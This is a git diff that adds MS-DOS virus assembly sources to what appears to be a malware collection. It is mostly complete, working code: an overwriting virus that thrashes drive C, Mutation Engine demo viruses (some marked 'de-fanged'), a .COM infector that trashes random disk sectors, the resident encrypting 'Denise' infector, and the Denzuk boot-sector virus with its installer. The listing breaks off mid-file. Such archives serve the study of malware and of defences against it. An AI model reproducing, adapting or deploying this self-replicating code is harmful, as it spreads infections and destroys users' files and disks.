= file handle + mov ax,5700h + int 21h ; save file date and time + nop + mov COM_Time,cx + mov COM_Date,dx + mov dx,offset Demon ; overwrite first 272 bytes + mov ah,40h ; of .COM program file + mov cx,Virus_Size ; with the virus code + int 21h + nop + mov ax,5701h ; restore file date and time + mov dx,COM_Date + mov cx,COM_Time + int 21h + mov ah,3eh ; close the file + int 21h + nop + mov dx,offset DTA.FileName ; restore file attribute + mov cx,COM_Attr + mov ax,4301h + int 21h + retn + +All_COM db '*.COM',0 ; dir search specification +COM_Date dw 0 ; packed .COM program date +COM_Time dw 0 ; packed .COM program time +COM_Attr dw 0 ; .COM program file attribute +Counter db 0 ; used when thrashing drive C: +Drive_C db 2 ; INT 26h C: drive number + dw 0 +Copyright db 'Demonhyak Viri X.X (c) by Cracker Jack 1991 (IVRL)' + dw 0 +Virus_Msg db 10,13,'Error eating drive C:',10,13,'$' + +Virus_End label byte ; virus code+data end + +Virus ends + end Demon + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/MSDOS/Virus.MSDOS.Unknown.demov.asm b/MSDOS/Virus.MSDOS.Unknown.demov.asm new file mode 100644 index 00000000..ac265636 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.demov.asm @@ -0,0 +1,196 @@ + +; This is a demo virus to demonstrate +; the Mutation Engine usage + +; Version 1.01 (26-10-91) +; (C) 1991 Dark Avenger. + +; De-Fanged for experimentation by Mark Ludwig 3/24/93 + + .model tiny + .radix 16 + .code + + extrn mut_engine: near, rnd_get: near, rnd_init: near + extrn rnd_buf: word, data_top: near + + org 100 + +start: + call locadr +locadr: + pop dx + mov cl,4 + shr dx,cl + sub dx,10 + mov cx,ds + add cx,dx ;Calculate new CS + mov dx,offset begin + push cx dx + retf +begin: + cld + mov di,offset start + push es di + push cs + pop ds + push ax + mov dx,offset dta_buf ;Set DTA + mov ah,1a + int 21 + xor ax,ax ;Initialize random seed + mov [rnd_buf],ax + call rnd_init + mov dx,offset srchnam + mov cl,3 + mov ah,4e +find_lup: + int 21 ;Find the next COM file + jc infect_done + call isinf ;see if infected + jnz infect ;If not infected, infect it now +find_nxt: + mov dx,offset dta_buf + mov ah,4f + jmp find_lup +infect_done: + push cs + pop ds + push ss + pop es + mov di,offset start + mov si,offset oold_cod + movsb ;Restore first 3 bytes + movsw + push ss + pop ds + mov dx,80 ;Restore DTA + mov ah,1a + int 21 + pop ax + retf + + +infect: + xor cx,cx ;Reset read-only attribute + mov dx,offset dta_buf+1e + mov ax,4301 + int 21 + jc infect_done + mov ax,3d02 ;Open the file + int 21 + jc infect_done + xchg ax,bx + mov ax,WORD PTR [old_cod] + mov WORD PTR [oold_cod],ax + mov al,BYTE PTR [old_cod+2] + mov BYTE PTR [oold_cod+2],al + mov dx,offset old_cod ;Read first 3 bytes + mov cx,3 + mov ah,3f + int 21 + jc read_done + xor cx,cx ;Seek at EOF + xor dx,dx + mov ax,4202 + int 21 + test dx,dx ;Make sure the file is not too big + jnz read_done + cmp ax,-2000 + jnc read_done + mov bp,ax + sub ax,3 + mov word ptr [new_cod+1],ax + mov ax,cs + add ax,1000H + mov es,ax + mov dx,offset start + mov cx,offset _DATA + push bp bx + add bp,dx + xor si,si + xor di,di + mov bl,0f + mov ax,101 + call mut_engine + pop bx ax + add ax,cx ;Make sure file length mod 256 = 0 + neg ax + xor ah,ah + add cx,ax + mov ah,40 ;Put the virus into the file + int 21 + push cs + pop ds + jc write_done + sub cx,ax + jnz write_done + xor dx,dx ;Put the JMP instruction + mov ax,4200 + int 21 + mov dx,offset new_cod + mov cx,3 + mov ah,40 + int 21 + jmp write_done +read_done: + mov ah,3e ;Close the file + int 21 + jmp infect_done +write_done: + mov ax,5700H ;get date & time on file + int 21H + push dx + mov ax,cx ;fix it + xor ax,dx + mov cx,0A + xor dx,dx + div cx + mul cx + add ax,3 + pop dx + xor ax,dx + mov cx,ax + mov ax,5701H ;and save it + int 21H + jmp read_done + +;determine if file is infected +isinf: + mov dx,offset dta_buf+1e + mov ax,3d02 ;Open the file + int 21 + mov bx,ax + mov ax,5700H ;get file attribute + int 21H + mov ax,cx + xor ax,dx ;date xor time mod 10 = 3 for infected file + xor dx,dx + mov cx,0A + div cx + cmp dx,3 + pushf + mov ah,3e ;Close the file + int 21 + popf + ret + + +srchnam db '*.COM',0 + +old_cod: ;Buffer to read first 3 bytes + ret + dw 55AA + +oold_cod: ;old old code + db 0,0,0 + +new_cod: ;Buffer to write first 3 bytes + jmp $+100 + + .data + +dta_buf db 2bh dup(?) ;Buffer for DTA + + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.demov2.asm b/MSDOS/Virus.MSDOS.Unknown.demov2.asm new file mode 100644 index 00000000..babb6fa2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.demov2.asm @@ -0,0 +1,205 @@ + +; This is a demo virus to demonstrate +; the Mutation Engine usage + +; Version 1.01 (26-10-91) +; (C) 1991 Dark Avenger. + +; De-Fanged for experimentation by Mark Ludwig 3/24/93 + + .model tiny + .radix 16 + .code + + extrn mut_engine: near, rnd_get: near, rnd_init: near + extrn rnd_buf: word, data_top: near + + org 100 + +start: + call locadr +locadr: + pop dx + mov cl,4 + shr dx,cl + sub dx,10 + mov cx,ds + add cx,dx ;Calculate new CS + mov dx,offset begin + push cx dx + retf +begin: + cld + mov di,offset start + push es di + push cs + pop ds + push ax + mov dx,offset dta_buf ;Set DTA + mov ah,1a + int 21 + xor ax,ax ;Initialize random seed + mov [rnd_buf],ax + call rnd_init + mov dx,offset srchnam + mov cl,3 + mov ah,4e +find_lup: + int 21 ;Find the next COM file + jc infect_done + call isinf ;see if infected + jnz infect ;If not infected, infect it now +find_nxt: + mov dx,offset dta_buf + mov ah,4f + jmp find_lup +infect_done: + push cs + pop ds + push ss + pop es + mov di,offset start + mov si,offset oold_cod + movsb ;Restore first 3 bytes + movsw + push ss + pop ds + mov dx,80 ;Restore DTA + mov ah,1a + int 21 + pop ax + retf + + +infect: + xor cx,cx ;Reset read-only attribute + mov dx,offset dta_buf+1e + mov ax,4301 + int 21 + jc infect_done + mov ax,3d02 ;Open the file + int 21 + jc infect_done + xchg ax,bx + mov ax,WORD PTR [old_cod] + mov WORD PTR [oold_cod],ax + mov al,BYTE PTR [old_cod+2] + mov BYTE PTR [oold_cod+2],al + mov dx,offset old_cod ;Read first 3 bytes + mov cx,3 + mov ah,3f + int 21 + jc read_done + xor cx,cx ;Seek at EOF + xor dx,dx + mov ax,4202 + int 21 + test dx,dx ;Make sure the file is not too big + jnz read_done + cmp ax,-2000 + jnc read_done + mov bp,ax + add bp,30 + sub ax,3 + mov word ptr [new_cod+1],ax + mov ax,cs + add ax,1000H + mov es,ax + mov dx,offset start + mov cx,offset _DATA + push bp bx + add bp,dx + xor si,si + xor di,di + mov bl,0f + mov ax,101 + call mut_engine + add cx,30 + sub dx,30 + mov di,dx + push cx + mov cx,18 ;put mul cx in 18H times + mov ax,0E1F7 + rep stosw + pop cx + pop bx ax + add ax,cx ;Make sure file length mod 256 = 0 + neg ax + xor ah,ah + add cx,ax + mov ah,40 ;Put the virus into the file + int 21 + push cs + pop ds + jc write_done + sub cx,ax + jnz write_done + xor dx,dx ;Put the JMP instruction + mov ax,4200 + int 21 + mov dx,offset new_cod + mov cx,3 + mov ah,40 + int 21 + jmp write_done +read_done: + mov ah,3e ;Close the file + int 21 + jmp infect_done +write_done: + mov ax,5700H ;get date & time on file + int 21H + push dx + mov ax,cx ;fix it + xor ax,dx + mov cx,0A + xor dx,dx + div cx + mul cx + add ax,3 + pop dx + xor ax,dx + mov cx,ax + mov ax,5701H ;and save it + int 21H + jmp read_done + +;determine if file is infected +isinf: + mov dx,offset dta_buf+1e + mov ax,3d02 ;Open the file + int 21 + mov bx,ax + mov ax,5700H ;get file attribute + int 21H + mov ax,cx + xor ax,dx ;date xor time mod 10 = 3 for infected file + xor dx,dx + mov cx,0A + div cx + cmp dx,3 + pushf + mov ah,3e ;Close the file + int 21 + popf + ret + + +srchnam db '*.COM',0 + +old_cod: ;Buffer to read first 3 bytes + ret + dw 55AA + +oold_cod: ;old old code + db 0,0,0 + +new_cod: ;Buffer to write first 3 bytes + jmp $+100 + + .data + +dta_buf db 2bh dup(?) ;Buffer for DTA + + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.demov3.asm b/MSDOS/Virus.MSDOS.Unknown.demov3.asm new file mode 100644 index 00000000..76ef262c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.demov3.asm @@ -0,0 +1,214 @@ + +; This is a demo virus to demonstrate +; the Mutation Engine usage + +; Version 1.01 (26-10-91) +; (C) 1991 Dark Avenger. + +; De-Fanged for experimentation by Mark Ludwig 3/24/93 + + .model tiny + .radix 16 + .code + + extrn mut_engine: near, rnd_get: near, rnd_init: near + extrn rnd_buf: word, data_top: near + + org 100 + +start: + call locadr +locadr: + pop dx + mov cl,4 + shr dx,cl + sub dx,10 + mov cx,ds + add cx,dx ;Calculate new CS + mov dx,offset begin + push cx dx + retf +begin: + cld + mov di,offset start + push es di + push cs + pop ds + push ax + mov dx,offset dta_buf ;Set DTA + mov ah,1a + int 21 + xor ax,ax ;Initialize random seed + mov [rnd_buf],ax + call rnd_init + mov dx,offset srchnam + mov cl,3 + mov ah,4e +find_lup: + int 21 ;Find the next COM file + jc infect_done + call isinf ;see if infected + jnz infect ;If not infected, infect it now +find_nxt: + mov dx,offset dta_buf + mov ah,4f + jmp find_lup +infect_done: + push cs + pop ds + push ss + pop es + mov di,offset start + mov si,offset oold_cod + movsw ;Restore first 12 bytes + movsw + movsw + movsw + movsw + movsw + push ss + pop ds + mov dx,80 ;Restore DTA + mov ah,1a + int 21 + pop ax + retf + +infect: + xor cx,cx ;Reset read-only attribute + mov dx,offset dta_buf+1e + mov ax,4301 + int 21 + jc infect_done + mov ax,3d02 ;Open the file + int 21 + jc infect_done + xchg ax,bx + mov ax,WORD PTR [old_cod] + mov WORD PTR [oold_cod],ax + mov ax,WORD PTR [old_cod+2] + mov WORD PTR [oold_cod+2],ax + mov ax,WORD PTR [old_cod+4] + mov WORD PTR [oold_cod+4],ax + mov ax,WORD PTR [old_cod+6] + mov WORD PTR [oold_cod+6],ax + mov ax,WORD PTR [old_cod+8] + mov WORD PTR [oold_cod+8],ax + mov ax,WORD PTR [old_cod+0A] + mov WORD PTR [oold_cod+0A],ax + mov dx,offset old_cod ;Read first 12 bytes + mov cx,0C + mov ah,3f + int 21 + jc read_done + xor cx,cx ;Seek at EOF + xor dx,dx + mov ax,4202 + int 21 + test dx,dx ;Make sure the file is not too big + jnz read_done + cmp ax,-2000 + jnc read_done + mov bp,ax + sub ax,7 + mov word ptr [new_cod+5],ax + mov ax,cs + add ax,1000H + mov es,ax + mov dx,offset start + mov cx,offset _DATA + push bp bx + add bp,dx + xor si,si + xor di,di + mov bl,0f + mov ax,101 + call mut_engine + mov di,dx + pop bx ax + add ax,cx ;Make sure file length mod 256 = 0 + neg ax + xor ah,ah + add cx,ax + mov ah,40 ;Put the virus into the file + int 21 + push cs + pop ds + jc write_done + sub cx,ax + jnz write_done + xor dx,dx ;Put the JMP instruction + mov ax,4200 + int 21 + mov dx,offset new_cod + mov cx,0C + mov ah,40 + int 21 + jmp write_done +read_done: + mov ah,3e ;close the file + int 21 + jmp infect_done +write_done: + mov ax,5700H ;get date & time on file + int 21H + push dx + mov ax,cx ;fix it + xor ax,dx + mov cx,0A + xor dx,dx + div cx + mul cx + add ax,3 + pop dx + xor ax,dx + mov cx,ax + mov ax,5701H ;and save it + int 21H + jmp read_done + +;determine if file is infected +isinf: + mov dx,offset dta_buf+1e + mov ax,3d02 ;Open the file + int 21 + mov bx,ax + mov ax,5700H ;get file attribute + int 21H + mov ax,cx + xor ax,dx ;date xor time mod 10 = 3 for infected file + xor dx,dx + mov cx,0A + div cx + cmp dx,3 + pushf + mov ah,3e ;Close the file + int 21 + popf + ret + +srchnam db '*.COM',0 + +old_cod: ;Buffer to read first 11 bytes + ret + db 0 + dw 0,0,0,0,0 + + +oold_cod: ;old old code + db 0,0,0,0,0,0,0,0,0,0,0,0 + +new_cod: ;Buffer to write first 11 bytes + call nc2 +nc1: pop ax + jmp $+200 +nc2: pop ax + call nc1 + nop + + .data + +dta_buf db 2bh dup(?) ;Buffer for DTA + + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.demovir.asm b/MSDOS/Virus.MSDOS.Unknown.demovir.asm new file mode 100644 index 00000000..0ac98bad --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.demovir.asm @@ -0,0 +1,176 @@ + +; This is a demo virus to demonstrate +; the Mutation Engine usage + +; Version 1.01 (1-3-92) +; (C) 1992 Dark Avenger. + + .model tiny + .radix 16 + .code + + extrn mut_engine: near, rnd_get: near, rnd_init: near + extrn rnd_buf: word, data_top: near + + org 100 + +start: + call locadr +reladr: + db 'Just a simple demo...' +locadr: + pop dx + mov cl,4 + shr dx,cl + mov cx,ds + add cx,dx ;Calculate new CS + mov dx,offset begin + push cx dx + retf +begin: + cld + mov di,offset start + push es di + push cs + pop ds + mov si,offset old_cod + movsb ;Restore first 3 bytes + push ax + mov dx,offset dta_buf ;Set DTA + mov ah,1a + int 21 + mov ax,3524 ;Hook INT 24 + int 21 + push es bx + mov dx,offset fail_err + mov ax,2524 + int 21 + xor ax,ax ;Initialize random seed + call rnd_init + push sp + pop cx + sub cx,sp + add cx,4 + push cx + mov dx,offset srchnam + mov cl,3 + mov ah,4e +find_lup: + int 21 ;Find the next COM file + jc infect_done + cmp [dta_buf+1a],ch + jnz infect ;If not infected, infect it now +find_nxt: + push cx + mov dx,offset dta_buf + mov ah,4f + jmp find_lup +infect_done: + pop cx + loop find_nxt + jnc damage_done + test al,1 + jz damage_done + xchg ax,dx ;Trash a random sector on the default + mov ah,39 ; drive + int 21 + mov cx,1 + mov bx,offset start + int 26 + popf +damage_done: + pop dx ds + mov ax,2524 ;Restore INT 24 + int 21 + pop ds + mov dx,80 ;Restore DTA + mov ah,1a + int 21 + push ds ;Exit to program + pop es + pop ax + retf +infect: + xor cx,cx ;Reset read-only attribute + mov ax,4301 + int 21 + jc infect_done + mov ax,3d02 ;Open the file + int 21 + jc infect_done + xchg ax,bx + mov dx,offset old_cod ;Read first 3 bytes + mov cx,3 + mov ah,3f + int 21 + jc read_done + mov ax,word ptr [old_cod] ;Make sure it's not an EXE file + cmp ax,'ZM' + jz read_done + cmp ax,'MZ' + jz read_done + xor cx,cx ;Seek at EOF + mov ax,4202 + int 21 + test dx,dx ;Make sure the file is not too big + jnz read_done + cmp ax,-2000 + jnc read_done + mov bp,ax + sub ax,3 + mov word ptr [new_cod+1],ax + mov ax,5700 ;Save file's date/time + int 21 + push dx cx + mov ax,offset data_top+0f + mov cl,4 ;Now call the Engine + shr ax,cl + mov es,ax + mov dx,offset start + mov cx,offset _DATA + push bp bx + add bp,dx + xor si,si + mov ax,101 + call mut_engine + pop bx ax + add ax,cx ;Make sure file length mod 256 = 0 + neg ax + xor ah,ah + add cx,ax + push cs + pop ds + jc write_done + sub cx,ax + jnz write_done + mov dx,offset new_cod + mov cx,3 + mov ah,40 + int 21 +write_done: + pop cx dx ;Restore file's date/time + mov ax,5701 + int 21 +read_done: + mov ah,3e ;Close the file + int 21 + jmp infect_done + +fail_err: ;Critical errors handler + mov al,3 + iret + +srchnam db '*.COM',0 + +old_cod: ;Buffer to read first 3 bytes + ret + dw ? + +new_cod: ;Buffer to write first 3 bytes + jmp $+100 + + .data + +dta_buf db 2bh dup(?) ;Buffer for DTA + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.denise.asm b/MSDOS/Virus.MSDOS.Unknown.denise.asm new file mode 100644 index 00000000..fcaa4303 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.denise.asm @@ -0,0 +1,349 @@ +; Virus generated by G 0.70 +; G written by Dark Angel of Phalcon/Skism + +; File: DENISE.ASM +; Denise by Ender + +checkres1 = 'DA' +checkres2 = 'PS' +id = 'FB' + + .model tiny + .code + +; Assemble with: +; TASM /m3 filename.ASM +; TLINK filename.OBJ +; EXE2BIN filename.EXE filename.COM + org 0000h + +start: +ENCRYPT: +patchstart: + mov bx, offset endencrypt + mov cx, (heap-endencrypt)/2+1 +encrypt_loop: + db 002Eh ; cs: + db 0081h ; add word ptr [bx], xxxx +xorpatch db 0007h +encryptvalue dw 0000h + add bx, 0002h + loop encrypt_loop +endencrypt: + mov bp, sp + int 0003h +next: + mov bp, ss:[bp-6] + sub bp, offset next + + push es + push ds + + mov ax, checkres1 ; Installation check + int 0021h + cmp ax, checkres2 ; Already installed? + jz done_install + + mov ax, ds + dec ax + mov ds, ax + sub word ptr ds:[0003h], ((endheap-start+1023)/1024)*64 + sub word ptr ds:[0012h], ((endheap-start+1023)/1024)*64 + mov es, word ptr ds:[0012h] + + push cs + pop ds + xor di, di + mov cx, (heap-start)/2+1 ; Bytes to move + mov si, bp ; lea si,[bp+offset start] + rep movsw + + xor ax, ax + mov ds, ax + sub word ptr ds:[0413h], (endheap-start+1023)/1024 + push ds + lds ax, ds:[21h*4] ; Get old int handler + mov word ptr es:oldint21, ax + mov word ptr es:oldint21+2, ds + pop ds + mov word ptr ds:[21h*4], offset int21 ; Replace with new handler + mov ds:[21h*4+2], es ; in high memory + +done_install: + pop es + pop ds + cmp sp, id + jne restore_COM +restore_EXE: + mov ax, ds + add ax, 0010h + add cs:[bp+word ptr origCSIP+2], ax + add ax, cs:[bp+word ptr origSPSS] + cli + mov ss, ax + mov sp, cs:[bp+word ptr origSPSS+2] + sti + db 00EAh +origCSIP db ? +old3 db 0cdh,20h,0 +origSPSS dd ? + +restore_COM: + mov di, 0100h + push di + lea si, [bp+offset old3] + movsb + movsw + ret + +INT24: + mov al, 0003h + iret + +int21: + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + cmp ax, 4B00h ; execute? + jz execute +return: + jmp exitint21 +execute: + mov word ptr cs:filename, dx + mov word ptr cs:filename+2, ds + mov ax, 3524h + int 0021h + push es + push bx + + mov ax, 2524h + lea dx, INT24 ; ASSumes ds=cs + int 0021h + + push cs + pop es + + + mov bx, dx + cmp word ptr [bx+3], 'AM' ; Check if COMMAND.COM + jz return ; Exit if so + + mov ax, 4300h + lds dx, cs:filename + int 0021h + jc return + push cx + push ds + push dx + + mov ax, 4301h ; clear file attributes + push ax ; save for later use + xor cx, cx + int 0021h + + lds dx, cs:filename + mov ax, 3D02h + int 0021h + xchg ax, bx + + push cs + pop ds + + mov ax, 5700h ; get file time/date + int 0021h + push cx + push dx + + mov ah, 003Fh + mov dx, offset readbuffer + mov cx, 001Ah + int 0021h + + mov ax, 4202h + xor cx, cx + cwd + int 0021h + + cmp word ptr [offset readbuffer], 'ZM' + jz checkEXE + + mov cx, word ptr [offset readbuffer+1] ; jmp location + add cx, heap-start+3 ; convert to filesize + cmp ax, cx ; equal if already infected + jz jmp_close + + cmp ax, 65535-(endheap-start) ; check if too large + ja jmp_close ; Exit if so + + cmp ax, (heap-start) ; check if too small + jb jmp_close ; Exit if so + + mov si, offset readbuffer + mov di, offset old3 + movsw + movsb + + mov si, ax ; save entry point + add si, 0100h + mov cx, 0003h + sub ax, cx + mov word ptr [offset readbuffer+1], ax + mov dl, 00E9h + mov byte ptr [offset readbuffer], dl + jmp short continue_infect +checkEXE: + cmp word ptr [offset readbuffer+10h], id + jnz skipp +jmp_close: + jmp close +skipp: + + lea si, readbuffer+14h + lea di, origCSIP + movsw ; Save original CS and IP + movsw + + sub si, 000Ah + movsw ; Save original SS and SP + movsw + + push bx ; save file handle + mov bx, word ptr [readbuffer+8] ; Header size in paragraphs + mov cl, 0004h + shl bx, cl + + push dx ; Save file size on the + push ax ; stack + + sub ax, bx ; File size - Header size + sbb dx, 0000h ; DX:AX - BX -> DX:AX + + mov cx, 0010h + div cx ; DX:AX/CX = AX Remainder DX + + mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment + mov word ptr [readbuffer+10h], id ; Initial SP + mov word ptr [readbuffer+16h], ax ; Para disp CS in module. + mov word ptr [readbuffer+14h], dx ; IP Offset + + mov si, dx ; save entry point + pop ax ; Filelength in DX:AX + pop dx + + add ax, heap-start + adc dx, 0000h + + mov cl, 0009h + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 0001h + + mov word ptr [readbuffer+4], dx ; Fix-up the file size in + mov word ptr [readbuffer+2], ax ; the EXE header. + + pop bx ; restore file handle + mov cx, 001Ah + +continue_infect: + push cx ; save # bytes to write + +get_encrypt_value: + mov ah, 002Ch ; Get current time + int 0021h + + or dx, dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + + add si, (offset endencrypt-offset encrypt) + mov word ptr ds:[patchstart+1], si + mov word ptr ds:[encryptvalue], dx + + mov cx, (heap-encrypt)/2 + mov si, offset ENCRYPT + mov di, offset encryptbuffer + push si + rep movsw ; copy virus to buffer + + mov ax, offset endencrypt-encrypt+encryptbuffer + mov word ptr ds:[patchstart+1], ax + pop si + push offset endencrypt + mov byte ptr [offset endencrypt], 00C3h ; retn + xor byte ptr [offset xorpatch-encrypt+encryptbuffer], 0028h + push bx + call si ; encrypt virus in buffer + pop bx + pop word ptr [offset endencrypt] + + xor byte ptr [offset xorpatch], 0028h + + mov ah, 0040h + mov cx, heap-encrypt + mov dx, offset encryptbuffer + int 0021h + + xor cx, cx + mov ax, 4200h + cwd + int 0021h + + + pop cx + mov ah, 0040h + mov dx, offset readbuffer + int 0021h + + +close: + mov ax, 5701h ; restore file time/date + pop dx + pop cx + int 0021h + + mov ah, 003Eh + int 0021h + + pop ax ; restore file attributes + pop dx ; get filename and + pop ds + pop cx ; attributes from stack + int 0021h + + pop dx + pop ds + mov ax, 2524h + int 0021h + +exitint21: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + + db 00EAh ; return to original handler +oldint21 dd ? + +signature db '[PS/G]',0 ; Phalcon/Skism G +creator db 'Ender',0 +virusname db 'Denise',0 + +heap: +encryptbuffer db (heap-encrypt)+1 dup (?) +filename dd ? +readbuffer db 1ah dup (?) +endheap: + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.denzuk.asm b/MSDOS/Virus.MSDOS.Unknown.denzuk.asm new file mode 100644 index 00000000..f930bfd8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.denzuk.asm @@ -0,0 +1,2592 @@ + +PAGE 59,132 + +; +; +; DENZUK +; +; Created: 4-Feb-91 +; Passes: 5 Analysis Options on: J +; +; + +data_0001e equ 24h +data_0002e equ 26h +data_0003e equ 4Ch +data_0004e equ 4Eh +data_0005e equ 78h +data_0006e equ 1BCh +data_0007e equ 1BEh +main_ram_size_ equ 413h +keybd_flags_1_ equ 417h +video_mode_ equ 449h +warm_boot_flag_ equ 472h +data_0008e equ 4F6h +data_0009e equ 51Ch ;* +data_0010e equ 61Eh ;* +data_0011e equ 7C00h ;* +data_0012e equ 7C0Bh ;* +data_0013e equ 7C0Eh ;* +data_0014e equ 7C10h ;* +data_0015e equ 7C11h ;* +data_0016e equ 7C15h ;* +data_0017e equ 7C16h ;* +data_0018e equ 7C18h ;* +data_0019e equ 7C1Ah ;* +data_0020e equ 7C1Ch ;* +data_0021e equ 7C2Ah ;* +data_0022e equ 7C2Bh ;* +data_0023e equ 7C37h ;* +data_0024e equ 7C39h ;* +data_0025e equ 7C3Bh ;* +data_0026e equ 7C3Ch ;* +data_0027e equ 7C3Dh ;* +data_0028e equ 7C3Fh ;* +data_0029e equ 7D77h ;* +data_0030e equ 7DD6h ;* +data_0031e equ 7DE1h ;* +data_0032e equ 7DFDh ;* +data_0033e equ 0 +data_0035e equ 28h +data_0036e equ 33h +data_0037e equ 5Ch +data_0157e equ 1E50h ;* +data_0158e equ 2000h ;* +data_0161e equ 2A00h ;* +data_0164e equ 7C00h ;* +data_0165e equ 7C0Bh ;* +data_0166e equ 7C15h ;* +data_0167e equ 7C18h ;* +data_0168e equ 7C1Ah ;* +data_0169e equ 7C1Eh ;* +data_0171e equ 7C2Ch ;* +data_0172e equ 7C2Eh ;* +data_0173e equ 7C30h ;* +data_0174e equ 7C31h ;* +data_0175e equ 7C32h ;* +data_0176e equ 7CC6h ;* +data_0178e equ 7E00h ;* +data_0179e equ 8002h ;* +data_0181e equ 0A82Ah ;* +data_0182e equ 0AA00h ;* +data_0183e equ 0AA02h ;* +data_0185e equ 0AA2Ah ;* +data_0186e equ 0AAAAh ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +denzuk proc far + +start: + mov dx,29Dh + dec byte ptr ds:data_0037e + jns loc_0002 ; Jump if not sign + jmp loc_0008 +loc_0002: + mov dx,1BFh + call sub_0001 + xor ah,ah ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + and al,0DFh + cmp al,59h ; 'Y' + jne loc_ret_0009 ; Jump if not equal + mov dl,ds:data_0037e + xor ah,ah ; Zero register + int 13h ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + jc loc_0007 ; Jump if carry Set + push dx + mov dx,281h + call sub_0001 + pop dx + mov ax,351Eh + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov al,9 + xchg al,es:[bx+4] + push es + push bx + push ax + push ds + pop es + xor dh,dh ; Zero register + mov ch,28h ; '(' + mov bx,offset data_0040 + mov ax,509h + int 13h ; Disk dl=drive a ah=func 05h + ; format track=ch or cylindr=cx + ; al=interleave, dh=head + pop ax + pop bx + pop es + jc loc_0007 ; Jump if carry Set + mov es:[bx+4],al + push ds + pop es + cld ; Clear direction + mov si,offset data_0058 + jmp short loc_0004 +loc_0003: + test dh,dh + jnz loc_0004 ; Jump if not zero + dec cx + jz loc_ret_0009 ; Jump if zero +loc_0004: + lea bx,[si+5] ; Load effective addr + mov bp,200h + lodsb ; String [si] to al + cmp al,0F6h + je loc_0006 ; Jump if equal + mov bx,offset data_0049 + cmp al,[bx] + je loc_0005 ; Jump if equal + mov di,bx + mov cx,bp + rep stosb ; Rep when cx >0 Store al to es:[di] +loc_0005: + xor bp,bp ; Zero register +loc_0006: + lodsw ; String [si] to ax + xchg ax,cx + lodsw ; String [si] to ax + xchg ax,dx + or dl,ds:data_0037e + lea si,[bp+si] ; Load effective addr + mov ax,301h + push si + push cx + push dx + int 13h ; Disk dl=drive a ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + pop dx + pop cx + pop si + jnc loc_0003 ; Jump if carry=0 +loc_0007: + mov dx,offset data_0048 + +denzuk endp + +; +; SUBROUTINE +; + +sub_0001 proc near +loc_0008: + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + +loc_ret_0009: + retn +sub_0001 endp + +data_0040 db 28h + db 00h, 21h, 02h, 28h, 00h, 22h + db 02h, 28h, 00h, 23h, 02h, 28h + db 00h, 24h, 02h, 28h, 00h, 25h + db 02h, 28h, 00h, 26h, 02h, 28h + db 00h, 27h, 02h, 28h, 00h, 28h + db 02h, 28h, 00h, 29h, 02h + db 0Dh +data_0041 db 0Ah, 'You are about to install a ' + db 'VIRUS on your diskette!!!', 0Dh, 0Ah + db 'This will des' +data_0043 dw 7274h +data_0044 db 6Fh +data_0045 dw 2079h + db 'ALL data on the diskette!!!', 0Dh + db 0Ah, 'Inser' +data_0046 dw 2074h + db 'a formatted 360K di' +data_0047 dw 6B73h + db 'ette into the drive.', 0Dh, 0Ah, 'A' + db 're you sure you want to proceed ' + db '(y/N)? $' + db 0Dh, 0Ah, 0Ah, 'Writing...$' +data_0048 db 0Dh + db 0Ah, 45h, 72h, 72h, 6Fh, 72h + db 07h, 21h, 07h, 21h, 07h + db '!$' + db 'Usage: DENZUK A: ', 0Dh, 0Ah + db '$' +data_0049 dw 167 dup (0) +data_0050 dw 0 +data_0051 db 0 +data_0052 dw 0, 0 +data_0054 dw 0, 0 + db 82 dup (0) +data_0056 dd 00000h +data_0057 dd 00000h + db 77 dup (0) +data_0058 db 0F6h + db 29h, 28h, 00h, 00h,0FFh + +locloop_0011: + loop locloop_0011 ; Loop if cx > 0 + + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop ax + popf ; Pop flags + retn + db 8Dh, 36h,0D1h, 07h + db 0BFh, 90h, 0Bh,0B9h, 00h, 05h + db 0F3h,0A4h + db 8Dh, 36h,0D1h, 0Ch + db 0BFh, 40h, 2Bh,0B9h, 00h, 05h + db 0F3h,0A4h,0C3h, 51h,0FCh, 32h + db 0D2h,0BEh, 10h, 00h +loc_0012: + mov cx,28h + +locloop_0013: + mov ax,es:[di] + xchg al,ah + ror ax,1 ; Rotate + ror ax,1 ; Rotate + mov dh,ah + and dh,0C0h + and ah,3Fh ; '?' + or ah,dl + mov dl,dh + xchg al,ah + stosw ; Store ax to es:[di] + loop locloop_0013 ; Loop if cx > 0 + + dec si + jnz loc_0012 ; Jump if not zero + pop cx + retn + db 51h,0FDh, 32h,0D2h + db 0BEh, 10h, 00h +loc_0014: + mov cx,28h + +locloop_0015: + mov ax,es:[di] + xchg al,ah + rol ax,1 ; Rotate + rol ax,1 ; Rotate + mov dh,al + and dh,3 + and al,0FCh + or al,dl + mov dl,dh + xchg al,ah + stosw ; Store ax to es:[di] + loop locloop_0015 ; Loop if cx > 0 + + dec si + jnz loc_0014 ; Jump if not zero + pop cx + cld ; Clear direction + retn +data_0066 db 'WS EXE ', 0 + db 9 dup (0) + db 52h,0B1h, 3Bh, 12h, 02h, 00h + db 00h, 5Eh, 02h, 00h + db 'WSHELP OVR!' + db 0 + db 9 